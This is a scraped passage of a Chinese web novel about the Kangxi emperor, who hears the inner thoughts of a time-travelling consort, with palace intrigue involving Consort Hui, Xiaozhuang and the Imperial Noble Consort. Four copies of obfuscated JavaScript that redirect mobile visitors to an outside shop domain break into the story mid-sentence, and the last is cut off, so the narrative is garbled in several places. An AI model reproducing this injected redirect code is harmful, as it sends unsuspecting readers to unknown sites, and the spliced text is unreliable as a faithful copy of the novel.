就在梁九功以为这段对话就这样结束的时候,他突然起身吩咐道:“走,去永寿宫。” “喳!”梁九功猛地回过神来,“摆驾永寿宫!” 一行人就这样往永寿宫走去,康熙脸上是这些时日久违的欣喜。 在发现自己脸上是无法掩饰的笑颜后,他忍不住收回嘴角,用手点了点。 不过很快,他就再次没按捺住笑起来。 但他也不再想刻意压抑下去了,那是从他内心里涌出来的想要表达的情绪,是他此时所不想压下的情绪,是一种在此刻想要宣告世界的欣喜,是旁人会认为是情窦初开的鲁莽少年才有的开心。 可那又如何呢?康熙这一瞬脑海里闪过的念头便是,他是大清的帝王,是统治者,是远超于先辈的皇帝,既然如此,像他们一样光明正大地宠爱自己的爱妃又如何呢? 梁九功无法知晓他内心的想法,却也能从他脸上的雀跃察觉一二,只是他心底却涌上了许多担忧。 当一个帝王是一个帝王的时候,那他的后宫一定是平衡的,当一个帝王是一个男人的时候,那他的后宫一定是纷争的,当一个帝王是一个专属于一个女人的男人的时候,那他的后宫…… 眼瞅着永寿宫就在眼前,梁九功赶忙将那些大逆不道的话从脑海中抛弃。 康熙摆了摆手打断了宫人的行礼,抬脚就要往里走,他可不想让这些宫人的回报打断了对方的心声。 “啊……说起来康熙两次召我只让我睡暖阁好像……有点子奇怪啊。” 康熙的动作一顿,刚刚那份欣喜有些变成了无语,他继续向前走,声音也不曾消失。 “明明他应该很好色才对吧?” “说起来,他后宫可全是美人,不说皇贵妃佟佳氏柔美中带着矜贵,德妃柔顺带着小鸟依人,宜妃性格爽朗长相明艳,连如今不侍寝的荣妃和惠妃也都是风情满满,更不用说那僖嫔长得多好看,以后的良妃更是不愧于艳冠后宫,说起来……” 康熙停在房间门口,打算听听这个女人在评价完他的后宫后,还会说什么。 “我记得……康熙四十年有个汉女高氏入宫,直接连生三子,后来小说都说长得那叫一个美,啧啧,还真是好色啊,都年过半百了睡人家小姑娘。” “咦?我记得对方也被封为襄嫔来着?是……雍正追封?” 康熙实在被她的心声说得直想翻白眼,刚刚心中那些欣喜情绪也骤然消散,想了想打算还是别给自己找气受了,抬脚就要往回走。 永寿宫的宫人诧异地看着皇上连宫门都没进就要离开,脸上都带着几分惶然。 康熙见状,只能蹙眉看向梁九功:“永寿宫的宫人换一批能成事儿的。” 梁九功狠瞪了两眼满脸慌张的小太监,才点头应下,不忘让人把人堵嘴拉走,心里更是暗骂一声:“没出息的东西,内务府也是不长眼这样的人都往永寿宫送。” 康熙走出永寿宫犹豫了片刻后,还是叮嘱道:“告诉襄嫔,朕有政务要忙,不是她惹了朕。” 梁九功赶忙应下,不过心里依旧腹诽道:“我的爷啊,您是怕襄嫔知道猜测还是怕后宫胡乱猜测?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17568654|204029||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 而且……我看那位主子可能一点都没放心上啊……”想着他回头看了一眼永寿宫。 康熙没在意他的胡乱猜测,只走了不过几步,还是说道:“回去安排下,朕今日宿在永寿宫。” 梁九功这次可没敢直接应下,反倒是满脸慌张地上前小心提醒:“皇上,这……妃嫔侍寝一直在乾清宫,您不能宿在后妃宫里是老祖宗的规矩,奴才……奴才……” 康熙冷冷斜睨了他一眼:“怎么?朕想做的还不能做了?” 梁九功咽着唾沫,吓得两股战战跪在地上直磕头。 康熙见状冷哼一声,转身继续往前走:“行了,滚去安排!” 梁九功只能爬起来,赶忙去安排。 但心里还是不住叫苦,他不过是个奴才,这件事儿闹出来太皇太后第一个收拾他,可若不答应,皇上先收拾了他。 想到这里,梁九功不由暗叹了口气:“做奴才的,不就是受气的嘛……” 不承想,主仆一行人还没走出多远,只见慈宁宫的姑姑急匆匆而来,见到康熙满脸喜意,赶忙上前行礼说道:“皇上,太皇太后请您过去一趟。” 康熙这边刚被请走,惠妃的人就急匆匆赶到永寿宫。 这次来的宫人倒不是她的大宫女,虽然看出永寿宫主殿和自家主子的好像没啥差别,但也没细想,只赶忙行礼讲了来意。 齐满月刚得知康熙来了又走,正吐槽呢,听到惠妃请自己,不禁有些意外,但也好奇这位如今只协助皇贵妃管理后宫的娘娘找自己做什么。 想了想,她便让云秀应下,毕竟她对大阿哥的娘还挺好奇。 这位在后世的小说里可没少担当恶婆婆的反派角色,重点就在逼大福晋生儿子,甚至直接把人逼死,虽然她觉得以清宫的管理制度,生儿子这件事大阿哥可比她的话语权高,尤其是她这段时间见过的惠妃,更不像她想的那样。 延禧宫宫人见她应下忙高兴行礼离开。 云秀却有些担忧:“主子如今刚刚晋位,满后宫都盯着呢,这惠妃找主子……” 齐满月手里拿着的是康熙让人给她送来的黄履庄一个会学人说话的木鸟,她将巴掌大的木鸟在手中捏了捏才说道:“没事儿,这后宫里人挨着人,人挤着人的,别说动手了,就算是开口算计怕也不过一晌午就传遍后宫了。” 云秀张了张嘴觉得好有道理。 她这些时日住在偌大的永寿宫里,只有齐满月一个主子,伺候的人也不算多,便显得四处不仅空荡,还很冷清。 甚至有时候她和云月等人交代点私事也不怕有人偷听,却忘记了其他六宫可不是这样的,那些宫里住满了大大小小的嫔妃,怕是放个屁隔壁都知道。 想到这里她下意识捂了捂嘴,没想到伺候了齐满月那么久,她也学会了这些粗言俚语。 简单收拾了下,又准备了一些小礼物,几个人才往延禧宫而去。 走在路上,齐满月不由有些庆幸,幸好现在晋位了,整个后宫自己不仅不怎么需要下跪,连走在宫道上,都可以走在正中间了,当然,在她看来还是不如走在边上,至少有可以躲避太阳的阴影…… 27. 赏赐之后 齐满月坐在软轿上,第一次以这个角度去看清宫,曾经对她而言高到有些恐怖的红墙似乎也不再那么地可怕。 遥远的宫殿、琉璃瓦影影错错露出尖角,阳光洒在琉璃瓦上透出斑驳,再反射到她的眼睛里,一时间眼睛竟然也花了。 她恍惚间,好像看到了穿着短袖短裤的游客在红墙歇脚,看到了穿着不同朝代服饰的女孩子们从远处嬉笑而来,齐满月第一次突然发现这个清宫好像没有想象中那么小…… “……主子?”云秀的轻唤声从很远的地方传来,那些模糊的身影随着宫殿的琉璃瓦消失在她的视线中,软轿就这样轻轻放下。 她的眼前只剩下一个尚且称得上华丽的宫门还有两侧仿佛看不到尽头的高耸红墙。 “主子,延禧宫到了。”云秀扶着她,从软轿上走下来,缓缓地,在众多宫人的拥护下,行礼中,走向了这个好像和她的永寿宫似乎没什么差别的宫殿。 “襄嫔妹妹。”惠妃笑盈盈地走上前,拉过她的手。 齐满月还是行了礼,才笑着开口:“惠妃姐姐安。” 惠妃应了声,拉着她走到了罗汉床前,两人面对面隔着小几坐着。 齐满月才从刚刚的情绪中回过神来,一时间也没什么心思说话。 惠妃将人请来,按理说自然要先开口缓和一下氛围,可她想到自家那个混小子,又一时间不知道该说什么,尤其是看着齐满月娇嫩的小脸上带着些许苍白。 瞬间想到宫里一直传的这位新任的襄嫔身体不大好,不由叹了口气,从这样娇弱的小姑娘手里拿人家的心头好,她可真说不出口,尤其是对方比她小了那么多。 她尴尬地端起茶盏喝了又喝,放了又放,好半天才算做好了心理准备,正打算开口,就听踏踏急促的脚步声从远处而来。 “额娘!襄嫔娘娘请来了吗!?”大阿哥胤禔如同小牛犊一样从外面横冲猛撞地扎进来。 “胡闹!再如何这也是后宫!你也不小了,怎么还能如此鲁莽!?”惠妃脸上闪过几分不忍直视的表情,忍不住指着胤禔轻叱道。 齐满月也被他的动作吓得将刚刚那些低落的情绪抛之脑后,见大阿哥给她行礼,有些匆忙地微微欠身回礼。 还不等她回礼结束,大阿哥已经快步上前急切道:“听说汗阿玛将那黄履庄做的机括送给襄嫔娘娘了?娘娘可否借我玩玩?” 齐满月本以为这母子二人找自己是有什么要事,本着好奇的心态走了那么一遭,却没想到她们的目的竟然只是为了黄履庄的发明。 对她而言那些机关之物自然稀奇些,但相比于前世所看到的智能AI亦或是那些智能机器人,这些东西又实在不足看。 想到这里,她笑着点了点头:“自然无碍,只是……” 她突然想到康熙,一时间不免有些犹豫:“这些本是皇上恩赐,本宫……本宫也不知道行不行。” 听到她这样说,胤禔下意识就想说没事儿,可对于汗阿玛本能的恐惧还是让他顿了下,转头看向了自己的额娘。 惠妃听后微微蹙眉,纵然她整日嫌弃这个儿子,可到底是她唯一的儿子,她可不想对方在君父眼中落得一个玩物丧志的名声。 她这一犹豫,胤禔倒有些急了,恨不得上前抓着额娘,让她千万不要退缩。 惠妃被他这一看,忍不住想翻了个白眼,可瞅着齐满月在这里,又不想丢面子,只能捏着帕子擦了擦眼角,掩饰住些许羞愤,才说道:“就麻烦襄嫔妹妹帮忙跟皇上说说?” 齐满月倒觉得没事儿,只是她不确定康熙会听她的,毕竟自打进宫以来,这位皇帝恩赏是没少的,可相处是不多的,而且多是让她站桩,最开始还生过气斥责过她。 见她脸上带着些许为难,惠妃瞬间明白,赶忙笑着劝道:“妹妹只管说是孩子好奇想借来看看,皇上一向仁慈,应该无碍的。” 说着她对宫人使了个眼色:“好妹妹,我知道这也算是夺人所爱,我也不亏着你,宫里的规矩严谨,想来妹妹手中体己怕是不多,这些不算什么且拿去赏人吧。” 齐满月看着她的宫人端来两个盒子,眼中闪过疑惑,不过按照中国人的习俗,不好当着人的面看礼物,只得笑着说:“不过是些机括之物,无须姐姐破费。” 惠妃轻摇着头:“我这延禧宫平日里也无趣得很,妹妹做的那两个布贴画和毛毡我亦觉得有趣,平日里不好打扰妹妹,如今就当是我感谢妹妹给我宫里带来些许趣味的谢礼吧。” 说着她又拉着齐满月的手细细碎碎地说了一堆,直把一向擅长忽悠人的齐满月说得脑袋如同浆糊后才落下总结:“好妹妹,且收着吧。” 齐满月张了张嘴,一时间不知道是诧异自己能被人说晕,还是开口反驳,只是她好像也找不到什么可反驳的地方。 见她应下,惠妃忍不住松了口气,她此时可顾不上对方是被自己说得晕头转向傻乎乎地答应,还是被自己用钱买的答应,只要答应了就好。 惠妃悄悄白了一眼旁边正开心得不知道说些什么的胤禔,暗示他稍作收敛,才要拉着齐满月好生聊聊天。 毕竟现在她也不好直接将人送走,那岂不是新人入洞房媒人扔过墙嘛。 不过她想得很好,自家儿子是个不省心的,以后指不定需要齐满月多少帮助,此时不多亲近亲近,以后更不好开口了。 可不承想还没开口,一名永寿宫的宫人就快步走进延禧宫。 延禧宫宫人迎上前,问了来意,才进了主殿回道:“娘娘,襄嫔娘娘,皇上摆驾永寿宫。” 惠妃微微一愣,下意识看了眼齐满月,不等他人察觉,就笑着说道:“既然皇上摆驾永寿宫,妹妹快去侍奉吧,若日后有时间再来我这边玩。” 齐满月自然也不敢多耽搁,借此便直接出门坐上软轿,直奔永寿宫去。 康熙那边在慈宁宫和孝庄并没有聊太多。 主要是孝庄有些担心他实在对齐满月荣宠太过。 “你借着我的懿旨给了齐佳氏赏赐也就罢了,我怎么听说你甚至还有额外大赏呢?赏赐的东西可都比得上赫舍里千秋节的赏赐了?” 康熙从开始做决定起,就早已做好了会被孝庄问责的准备。 “本也不想额外赏的,只是前朝传来消息,那戴梓不仅研究出了新型火炮,甚至和黄履庄一起研究出了新的火枪,不仅射程更远,使用也更安全方便。” 说着不等孝庄继续开口,他便接着说道:“江南那边也传来消息,黄履庄发明的新农具不仅省力,播种的效果也更好,下半年的新苗长势也更旺盛。” “孙儿实在是欣喜过了,一时间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17571146|204029||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 不知该如何赏她,便临时起了意。” 孝庄听后沉默了一瞬,如今她早已不过问前朝事,这种事情更不会轻易传入后宫,此时听了她自然了解了康熙心中的想法。 可心中还是有些顾虑,毕竟这赏不赏的不过皇帝一句话,赏什么也不过一句话,可康熙表现的赏赐却让她下意识有些心惊。 “赏……是该赏,齐佳氏一族人丁不旺,也没几个有大才干的,但好歹还有个不错的英才……” 她顿了下,才继续说道:“自古女子功德多是福及父兄、夫君、子嗣,她如今无子,又入宫为妃,家中也无兄弟扶持,本就该赏赐父亲和同族才是。” 康熙没想到孝庄对这次的反应如此之大,不由暗自叹了口气,果然是自己冲动了。 略作思考后还是应道:“话是如此,只是如今布色赫的年岁实在太高,近亲里也没多少可用的,孙儿便没想到那么多。” “……是没想那么多?还是……不想呢?”孝庄抬眼看着他,许久后突然开口道。 康熙这次沉默了很久,才说道:“额涅玛玛,孙儿不会成为汗阿玛,更不会让她成为……文皇帝的宸妃。” 宸妃…… 孝庄忍不住愣在原地,许久后才叹了口气,如果说努尔哈赤对东哥不过是发动战争的理由,那皇太极对宸妃海兰珠可真的疼到骨头爱到骨血。 见她面色不甚多好,康熙一时间有些悔意萦绕心头。 “你……心中有数就好。”孝庄叹了口气,“只是此时不是那时,如今你后宫里多是朝臣贵族女子,身后牵扯不知多少,纵使你疼宠她,也不该独宠,你要切记。” 康熙正色道:“额涅玛玛放心,孙儿不会。” 听他这样说,孝庄一时间也有些不知该说什么,毕竟齐佳氏如今可真是扎手的刺猬,对大清自然是好的,对她们或许也是好的,可对皇帝却不一定,而她也无法对她做些什么,甚至连个念头都不敢起了。 康熙从慈宁宫出来后,踱步在后宫里,直到缓缓来到永寿宫的附近,看着宫门许久后,他才说道:“朕在永寿宫坐坐,晚上……” 梁九功弓腰听了许久,才听到康熙一句轻飘飘的话落在他的耳中。 “晚上留宿承乾宫吧。” 整个后宫对皇上为承乾宫皇贵妃破例都不觉得奇怪,毕竟这位好歹是亲表妹。 而且当初钮祜禄皇后去世后,皇帝就把宫权直接交给了当时只是贵妃的佟佳氏,后来更是直接让她成了皇贵妃。 从那以后,即便祖法要求皇帝不能留宿除了皇后外任何妃嫔宫中,只能召妃嫔到皇帝寝宫,可康熙还是为皇贵妃破了例。 自那以后,整个宫里都知道佟佳氏地位不同,和皇帝与她们自有别样的情分在。 等齐满月从外面回来,看到的就是康熙端着茶盏正靠在罗汉床上发着呆。 “嘶……这狗皇帝,不是在打什么坏主意吧?” 康熙回过神来,当着她面直接翻了个白眼。 这样丝毫不顾形象的举动,别说梁九功,连齐满月都被吓了一跳:“唬!真不把我当外人了?” “哎?不对,我还真不是外人……” 康熙本还有点郁气在心中,不过转瞬就被她的心声逗笑,也罢,好歹这女人承认了和他算一家人了。 28. 未来和同床异梦 “我该怎么和他说呢……” 康熙本打算听听她嘴里还能不能再吐出一两句好话,不承想对方脑子里冒出那么一句。 他下意识蹙眉,据他所知,齐满月一向喜欢自己待在永寿宫,除了请安外更不喜欢出去和妃嫔们交际。 想到这里,康熙便想起来自己来时,永寿宫宫人回复,说是惠妃将齐满月请过去了。 惠妃……康熙眉头再次皱起,不过转瞬他就松开眉头,惠妃性格一向柔泽大气恬淡不争,想来不会真的为难齐满月。 下一瞬,齐满月的心声就证明了康熙的想法。 “大阿哥想要机关鸟,可这是康熙送的,我私下送人是不是不合适?问的话不会被骂吧?可惠妃给我好多钱哎~” 康熙端着茶盏的动作僵在原地,看着茶盏里上下翻飞的茶叶,许久后还是没忍住暗自翻了个白眼,这女人一点钱就能被惠妃收买,自己给了那么多好东西也没听几句好话。 想到这里,他本来还打算直接开口问惠妃找她做什么,给她一个台阶,如今立刻收回这个念头,只打算好好看看这个小女人能够憋到什么时候。 齐满月本来是个沉不住气的,可自打恢复了前世的记忆,在齐佳府中被布色赫老两口好好教导过许久后,再加上那么多年的身体条件反射,总算有了几分沉静乖巧的壳子。 可也是如此,康熙只能看着面前的齐满月顶着一副柔顺的模样,端茶倒水好一通忙乎,看上去还挺娴静淑雅,可内心呢,那几乎吵得他脑袋疼的心声,震得他只想抱头离开。 想了想,实在不能自已遭此大罪了,赶忙轻咳两声问道:“惠妃找你何事?” 听他这么一问,齐满月的心声骤停,甚至还冒出两声感谢。 只可惜康熙只暗自叹气总算安静了,一时间没注意到这两声极短的感激。 “……就是这样,臣妾想着,这东西是皇上赏赐,这才回了惠妃姐姐,说要问下皇上。”齐满月将事情简单说了一通。 她轻柔的声音落在康熙的耳中,这声音和她心声的声音还略有些许不同,并没有那样的快节奏和活泼,但这样被训练过的温顺更衬出她声音的清软,让康熙下意识看向了那张极具美感的脸。 “皇上?”齐满月被他看得总觉得有些汗毛直立,忍不住轻声问道。 清软的声调与活泼的心声,将康熙的心神从刚刚那副迤逦中拉出。 他不知为何面对齐满月的眼睛总有几分窘态,再次轻咳了几声后,他才说道:“那是朕赏赐给你的,既然赏赐了就是你的了,你想怎么处理都行。” 顿了顿,他继续说道:“你若不舍得,可让人去黄履庄那边让他抽空再做几个。” “臣妾知道了,谢皇上。”齐满月面上一副感激的模样行礼。 内心却不断吐槽:“我才不会去找呢!你就是个小心眼儿!小时候对太子那样宠着,最后一切都成了他的罪过了,我要这么干万一将来也是我的罪过呢。” 康熙没想到对方竟然会歪曲了他的好意,心中不免涌上一丝委屈。 却没想到下一秒齐满月的心声再起:“说起来,麻爹不仅对麻草们如同秋风扫落叶般毫不留情,对麻宝两废两立差点儿逼疯,更是老大、老三、小十三都被圈禁过,嘶……不会真的对我秋后算账吧?” 康熙猛吸一口凉气,差点儿一口气没上来。 他虽然早就知道了自己将来对太子二废二立,对小八怒骂他生母,也从胤禛登基这件事上猜到了儿子们夺嫡一事必然是腥风血雨,可没想到自己也会在其中插手,甚至不止圈禁一个儿子。 这一会儿齐满月一口一个麻爹麻宝也不至于让他有多少愤怒,只觉得一种莫名的后怕涌上心头。 那是一种说不上来的毛骨悚然,让他第一反应就是逃离这里,逃离永寿宫,逃离齐佳氏身边,躲得远远的,再也不要出现! 他不想知道那些未来,更不想知道自己对自己的亲骨肉做出多少不堪为人父的事情了。 齐满月看着刚刚不知道想起什么突然差点自己用口水呛到自己的康熙,突然脸色大变站起身来。 她赶忙站起身,见康熙倒退的脚步带着一些踉跄,她下意识就想上前扶住对方。 谁知康熙像是被她吓到一样,突然推开她扶着自己的手,随之就猛地转身离开。 “梁……梁九功!摆驾!摆驾承乾宫!” 梁九功一脸懵的看着前不久还一脸喜意的皇上,此刻突然有些踉跄,声音中带着莫名的颤抖走出来。 梁九功胆大地抬眼扫了一眼,却又赶忙吓得垂下眼眸。 他何尝从帝王的脸上看到那种说不上来的带着恐惧、茫然、无措的眼神。 这襄嫔给皇上说了什么?总不能做了什么大逆不道的事情吧? 也不对啊,真做了大逆不道的事情皇上也该是生气,而不是这样……这样的……恐惧! 他心中满是疑惑,却不敢真的追究,那刻入骨血里灵魂里的奴性和规矩,将他脑海里一切大逆不道的想法都压进灵魂深处,再也不见天日。 康熙坐在御辇上时,他的手还在微微颤抖,挂在大拇指上的玉扳指随着这种细微的颤抖,在夕阳下不断闪烁着橙绿色的微光,微光洒在他的青色常服上,将那些精美的刺绣照映得熠熠生辉。 缓缓地,轻轻地,那些发着微光不断如星辰闪烁的刺绣扫进他的眼眸,沉进他的心底,然后将他那涌上的心慌一点点抚平。 康熙闭了闭眼,眺望着不远处在夕阳下展翅而飞的乌鸦,它们如同从天而来的神明,带着破空的振翅声从远而近落在宫墙上,用那双幽深的眼眸扫量着这座红色的宫殿。 “神鸟……”康熙想着曾经出现在齐满月侍寝途中的神鸟,想到神秘的系统,还有他现在越发依赖的民心所向功能,那份刚刚对齐满月升起的恐惧和戒备,开始缓缓从心底褪去。 只是那一瞬间的毛骨悚然像是刻在他的肌肤里,让他在下意识回头看向永寿宫时,手臂上会立刻炸起一层汗毛,那是对未来本能的恐惧。 御辇就这样轻摇着走在越来越安静的宫墙里,伴随着远方乌鸦的鸣叫,直到沉闷的木头和地面的碰撞声响起,华美的承乾宫出现在他的面前。 35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17573194|204029||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' >康熙看着承乾宫,心在这一刻平静了一瞬,一股心安涌上他的心头。 至少,在这里,他不会听到那些令他恐惧的东西…… 皇贵妃虽然早已被宫人通知过,皇上今日在承乾宫留宿,却还是带着几分忐忑不安,唯恐那位虽然没侍寝却已经被皇上如此放在心上的襄嫔,将皇帝留在永寿宫。 此刻见皇帝如约过来,心下不由一松,脸上的笑意也多了几分。 见到表妹笑颜如花地走来,康熙心下一软,他也许久不曾来见过表妹了。 烛火盈盈,暮色眠眠,宫人默契褪去,康熙看着烛下的皇贵妃那张恬静的脸,脑海里却闪过了齐满月那张极具冲击力的眉眼。 皇贵妃以为皇上会如过去一样温柔的与她携手走进去,却没想到皇上看着她的脸却发起呆来。 皇贵妃自然了解皇上,她能够看得出对方不是痴迷自己这张脸,想到这里她的脑海中闪过的也是齐满月那样的脸,眼眸深处随之染上幽深…… “走吧,天色不早了,安寝吧。”本能的恐惧让康熙并没有出神很久,他恍若刚刚什么都没发生一样拉着皇贵妃的手走进寝室…… 夜晚,安静得只有烛火的噼啪声,还有远处时不时响起的乌鸦的振翅声和那一阵阵沙哑着的空灵叫声。 康熙睁开了双眼,侧过脸看向一旁的皇贵妃,他突然很想知道睡着后的皇贵妃是否也会做些奇怪的梦?会是什么梦呢?如果……如果他能够听到所有人的心声……该多好? 这一刻,他明白,自己对齐满月的恐惧不是对那未知的力量,而是身为一个帝王对无法掌控的未来,和那个失去了英明的自己的恐惧。 他闭了闭眼,可却没有丝毫睡意。 那种对枕边人无法掌控的感觉袭上心头,他的表妹也曾有一刻会为了皇位或者家族而算计自己吗? 宜妃、德妃、荣妃、惠妃、贵妃这些嫔妃们呢? 还有那些儿子们呢? 他们将来可曾为了权势亦或是皇位会对他产生怎样的算计?会……恨他吗? 曾经齐满月所讲的那些未来,还有今日听到的未来就这样一点点地填满他的内心,直到他再也抵挡不住困意,陷入沉睡…… 他闭上眼后没多久,旁边的皇贵妃缓缓睁开眼,她看了眼皇帝,又看了看还在跳跃的烛火,手轻轻抚摸上小腹…… 如果她有个孩子,表哥会怎么做呢? 人常说同床异梦,皇帝和妃嫔又何尝不是呢? 承乾宫的两人是各怀心思睡不安稳,永寿宫的齐满月是一头雾水只觉得皇帝有病睡得很香,慈宁宫的孝庄在苏麻喇姑的劝说下好不容易放下对大清的担忧睡下。 延禧宫的惠妃正在暗骂儿子,阿哥所的大阿哥激动得恨不得跑到毓庆宫炫耀一通。 毓庆宫的太子得到了白日里的消息,眼眸转了又转,心思盘算了又盘算,才终于下定了决心。 东西六宫的其他宫里,妃嫔们各有各的想法,各有各的主意,有心大的睡得安稳,有心多的睡得辗转反侧,有嫉妒的睡得磨牙不断,有嘲讽的睡着都不忘笑出声来。 29. 快过年了~ “下雪了!主子!”云朵一脸开心蹦跳着跑进来。 云秀翻了个白眼给她递了个帕子:“还不抖干净!这样寒凉之物也往屋子里带,你是越发胆大了!” 云朵这才反应过来,赶忙后怕地打掉身上的雪,又怕有遗落,还不忘在原地蹦了一圈。 见她整理干净后,云秀才放她进来。 在看到云朵快步走到齐满月面前给她将晚膳摆放在桌子上,才忍不住蹙眉问道:“之前不都是云月来嘛?今天怎么换你了?” 云朵摇了摇头:“不知道哎,一早上就没见到云月姐姐。” 说完她利落的将食盒整理后带下去。 云秀看着她的背影忍不住摇了摇头,对齐满月说道:“当日还觉得她胆子小性子谨慎,还说日后将些要紧的物什跟她管着,如今看来还是不行。” 齐满月端着饭正吃得香,听她这么说不由一愣,才笑着帮云朵开脱道:“人家云朵才十四岁呢,还小呢。” 云秀略嗔怪的看了她一眼:“都是主子您惯得,好好的丫头都成了皮猴子了,要是被当初的教引嬷嬷知道怕是要好好收拾她们一番。” “她们在外面还是好的,只在咱们宫里这样。”说着齐满月叹了口气,“这宫里的日子我们倒还好,你们何其艰难,提心吊胆的连个觉都睡不安稳。” “好歹永寿宫如今就我一个主子,我还是主位,做一回这个主倒也无妨,也让你们轻快几分。” 云秀听后张了张嘴却怎么都说不出反驳的话。 她本想说这样也不好,万一成了习惯,以后别惹出事端,可又想着主子说得也对,从她们入宫的那一刻,睡不能睡安稳,走不能走畅快,便是一喜一悲也是随了主子的意。 若是有四妃那样的家世背景,有那样的父兄族亲襄助,她们或许可以被某位主位娘娘选中成为侍奉皇上的小嫔妃,可实际上大多数宫女也不过是伺候人罢了…… 想到这里,云秀没有再说什么,默默地往前走了一步,服侍齐满月用餐。 整个主殿就这样安静下来,没一会儿一阵带着几分怒意的脚步从远而至。 厚重的棉布门帘被掀起一角,云月气鼓鼓地走进来,不过她倒没忘记给自己身上的雪抖落干净。 云秀看她这一副气狠了的模样,忍不住皱起眉头来:“你这是怎么了?听云朵说大早上就没见到你呢?” 云月接过帕子擦了擦额头,才说道:“这不是马上年关了嘛,前几日皇上赐下了福字,还没贴上呢,内务府就传来消息说是咱们宫里做新衣的事情。” “我想着这些日子里宫里见咱们这边鼻子不是鼻子眼不是眼的,我就怕他们使坏就去盯着了。” “真使坏了?”云秀有些不可置信道。 云月赶忙摇头:“内务府的暂时还没那个胆子,是成贵人那个丫头挤兑我几句。” 她抬眼看了下正在擦嘴漱口的齐满月,犹豫了一番后才继续说道:“主子,她们……她们都说……说您要失宠了……” 齐满月连眼皮都没抬,这话她在前几天就听了不少了。 自从上次康熙脸色难看地从她这里离开,到现在都已经腊月十六了,康熙没有再踏进永寿宫一步。 相反这些时日他没少召寝后妃,尤其是德妃还有一些小嫔妃的宫里没少去,连一向不大受宠的贵妃钮祜禄氏也召了几次,唯独没召过齐满月。 一个月两个月大家还不觉得如何,这一下三个月未曾召见这位新任襄嫔,自然各种猜测冒出头来。 甚至还有一些不知道从哪里流传出来的说是永寿宫风水不好,还是皇贵妃出面好生敲打了一番才被压下。 只不过皇贵妃这突然有孕,宫务被荣妃惠妃接手,又临近年关,满宫忙得不可开交,这点子流言蜚语再次冒出头来。 云秀忍不住轻笑着指了指被云朵一盘盘收起的餐食:“你看看,这像失宠吗?” 云月看着食盒上明晃晃的“御茶膳房”几个字,一时间也不知道说什么了。 齐满月捏着一个新口味的饽饽忍不住抽了抽嘴角。 康熙这人那天满脸惧怕地从她宫里离开,害得她还以为发生什么灵异事件呢。 后来又一直不再过来,她虽然觉得自娱自乐挺好,也有时候忍不住担心自己会不会失宠。 只是看着一日两餐外加晚点的食盒上标注的“御茶膳房”字样,就觉得应该没到那个地步,不然没有哪个皇帝会把自己的口粮分一部分给讨厌的人吧。 好处就是永寿宫的宫人比其他地方吃食更丰富了。 毕竟按照规矩各宫的份例是包含各宫宫人的,一般主子吃完剩下的就是宫人的,虽说也谈不上饿肚子吧,但有时候高等宫人一分底层就剩不得什么了。 如今可好,齐满月吃的是御茶膳房的赏菜,她胃口又不多大,自己的份例就直接吩咐了下去,高等宫人们分的多了好了,下面人吃的自然也好了。 这一点已经成为东西六宫不少宫人羡慕的地方,只是大家以为是这位主位娘娘手里有钱体恤下人才这样的,倒没人敢往御茶膳房猜测。 毕竟眼瞅着要失宠的人,怎么可能一日三餐还从御茶膳房来,当日吃了十来天已经是前无古人后无来者的荣宠了。 “皇贵妃有孕了?”齐满月让云秀将窗户挑开一点,趴在桌子上看着远处的雪景,才突然想到自己刚刚听到的。 云月捧着个笸箩,直接坐在脚踏上给齐满月做起小衣来,听到齐满月这话连连点头。 “嗯,刚传出来的。”她应了声,继续投入到刺绣中。 齐满月在脑子里想了想,才忍不住叹了口气:“那个皇八女啊……” 这个心声正好落到外面的康熙耳中。 他自那日离开永寿宫,就像是刻意躲避一样,一直躲着永寿宫,连心声都要孝庄在每日请安或是召见齐满月时听一些,然后告诉他。 这让孝庄诧异了许久,最后还劝了他几回,见劝不动他才放弃。 只是也不知道是不是齐满月不见到他,就懒得吐槽了,这几个月有用的信息并不多,这人的脑子也不知道在想什么。 每日里不是想和这个妃子贴贴,就是夸那个妃子好看,时不时还要夸几句太皇太后,唯独对未来对朝政没有几句可提的。 即便偶尔提了,也基本上是之前说过的,没有太多可用的。 也因此,在三个月后,上了年纪的孝庄实在不想为了这点心声,再每天让妃嫔们冒着雪去给她请安,然后还要经常召齐满月和自己聊天。 她和齐佳一族没多少记忆,齐佳一族也没什么有用的人才,便是有这么一年都快过去了,多少东西也谈的差不多了。 更别说她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c 